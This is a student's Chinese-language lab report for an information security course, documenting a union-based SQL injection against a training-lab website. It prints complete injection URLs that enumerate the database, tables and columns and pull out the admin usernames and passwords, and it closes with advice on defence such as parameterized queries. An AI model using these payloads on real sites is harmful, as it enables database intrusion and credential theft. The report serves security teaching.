**《信息安全基础》实验报告**

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| **姓名** | | **陈鹏宇** | | **年级** | | **2020** |
| **学号** | | **20204227** | | **专业、班级** | | **计算机科学与技术1班** |
| **实验名称** | **实验四 SQL注入实验** | | | | | |
| **实验时间** | **2023/11/24** | | **实验地点** | | **DS3402** | |
| **实验成绩** |  | | **实验性质** | | **□验证性 □设计性 □综合性** | |
| 教师评价：  □算法/实验过程正确； □源程序/实验内容提交 □程序结构/实验步骤合理；  □实验结果正确； □语法、语义正确； □报告规范；  评语：  评价教师签名（电子签名）： | | | | | | |
| 一、实验目的  1. 学习并掌握SQL注入的基本原理和方法  2. 学习SQL注入的防范措施 | | | | | | |
| 二、实验项目内容  1. 检索SQL注入相关资料，自学SQL注入基本方法  2. 完成对特定网站的SQL注入以获取数据库信息 | | | | | | |
| 三、实验设计  任何SQL是操作数据库数据的结构化查询语言，网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数，修改拼接成SQL语句，传递给Web服务器，进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库，就可能导致拼接的SQL被执行，获取对数据库的信息以及提权，发生SQL注入攻击。  对以下网站进行SQL注入：  http://pu2lh35s.ia.aqlab.cn/  完成以下信息的获取：   1. 数据库名称 2. 数据库中的所有表的名称 3. 每个表中的字段数量以及字段名 4. 管理员用户密码   最后总结如何对SQL注入攻击进行防范。 | | | | | | |
| 四、实验过程或算法  本次实验主要根据  <https://www.modb.pro/db/62905>  和  <https://www.cnblogs.com/hirak0/p/15539022.html>  进行学习。  1. 寻找漏洞  观察URL：http://pu2lh35s.ia.aqlab.cn/index.php?id=1，尝试将 id=1 后面分别加上 and 1=1和 and 1=2。两个页面显示不一样，那么就说明存在注入了      2. 判断后台SQL的列数  在概念部分我们知道union注入的关键点之一就是要判断原SQL的列数,这里我们可以通过order by n #来判断。n 表示列数,#表示注释,用于注释点order by n后面部分的SQL。  order by 1    order by 2    order by 3    没有出现数据，说明sql语句出错，可以判断原SQL的列数为2  3. **union注入探测**  接下来我们使用 union select联合查询继续获取信息。union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示，即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同，而我们之前已经知道了主查询列数为 2，接下来需要判断回显位置。  通过复现步骤1的漏洞可以屏蔽掉原数据库的查询  [***http://pu2lh35s.ia.aqlab.cn/index.php?id=1+and+1=2+union+select+1,2+limit+0,+1#***](http://pu2lh35s.ia.aqlab.cn/index.php?id=1+and+1=2+union+select+1,2+limit+0,+1%23)    可以看出第二个位置可以插入sql语句，接下来只需要改变第二个位置需要查询的目标即可得到要找的数据。  4. 获取数据库库名  将2位置修改为database()  ***<http://pu2lh35s.ia.aqlab.cn/index.php?id=1+and+1=2+union+select+1,database()+limit+0,+1#>***  得到数据库库名为maoshe  5. 获取所有的表名  SQL语句为：***select table\_name from information\_schema.tables where table\_schema='maoshe' limit 0,1;***  [***http://pu2lh35s.ia.aqlab.cn/index.php?id=1+and+1=2+union+select+1,table\_name+from+information\_schema.tables+where+table\_schema=%27maoshe%27+limit+0,+1#***](http://pu2lh35s.ia.aqlab.cn/index.php?id=1+and+1=2+union+select+1,table_name+from+information_schema.tables+where+table_schema=%27maoshe%27+limit+0,+1#)    不断增加limit的偏移量即可得到所有的表名。        此时即可得到所有的表名：admin，dirs，news，xss  可以通过concat方法一次性获得所有表名，这里不再演示。  6. 获取每个表的字段  SQL语句：***select column\_name from information\_schema.columns where table\_schema='security' and table\_name='emails' limit 0,1;***  [***http://pu2lh35s.ia.aqlab.cn/index.php?id=1+and+1=2+union+SELECT+1,column\_name+from+information\_schema.columns+where+table\_schema=%27maoshe%27+and+table\_name=%27admin%27+limit+0,+1#***](http://pu2lh35s.ia.aqlab.cn/index.php?id=1+and+1=2+union+SELECT+1,column_name+from+information_schema.columns+where+table_schema=%27maoshe%27+and+table_name=%27admin%27+limit+0,+1#)    不断重复增加limit的偏移量即可得到所有字段（之后不再展示截图，对于不同表只需要对应改变表名即可）  admin的字段有Id，username，password  dirs的字段有paths  news的字段有id，content  xss的字段有：id，user，pass  7. 获取管理员用户密码  遍历admin表中所有字段：[***http://pu2lh35s.ia.aqlab.cn/index.php?id=1+and+1=2+union+SELECT+1,username+from+admin+limit+0,+1#***](http://pu2lh35s.ia.aqlab.cn/index.php?id=1+and+1=2+union+SELECT+1,username+from+admin+limit+0,+1#)    之后仅需改变limit偏移量和查询字段即可，后面不再截图  得到用户名为：admin和ppt领取微信  对应的密码为：hellohack和zkaqbanban | | | | | | |
| 1. 实验过程中遇到的问题及解决情况   无 | | | | | | |
| 六、实验结果及分析和（或）源程序调试过程  实验结果：  1. 数据库名：maoshe  2. 数据库的所有表及其字段：   |  |  | | --- | --- | | 表名 | 字段 | | admin | Id, username, password | | dirs | path | | news | id, content | | xss | id, user, pass |   3. 所有用户及其密码：   |  |  | | --- | --- | | username | password | | admin | hellohack | | ppt领取微信 | zkaqbanban |   实验总结：  任何SQL是操作数据库数据的结构化查询语言，网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数，修改拼接成SQL语句，传递给Web服务器，进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库，就可能导致拼接的SQL被执行，获取对数据库的信息以及提权，发生SQL注入攻击。  防范SQL注入攻击的几个方法：  1. 使用参数化查询：使用参数化查询可以避免拼接用户输入的SQL语句，从而有效地防止SQL注入攻击。  2. 过滤用户输入：对用户输入的数据进行过滤和校验，例如限制输入长度、类型、格式等。  3. 最小权限原则：将数据库的访问权限控制在最小范围内，只给予应用程序所需的最低权限。  4. 错误信息处理：不要将详细的错误信息返回给用户，因为这些信息可能会被攻击者用于进一步攻击。  5. 使用ORM或其他框架：ORM（对象关系映射）和其他框架通常会提供对SQL注入攻击的防御机制，使用这些框架可以有效地降低SQL注入攻击的风险。  预防 SQL 注入攻击需要开发人员有足够的安全意识，并采取相应的措施来保证应用程序的安全性。 | | | | | | |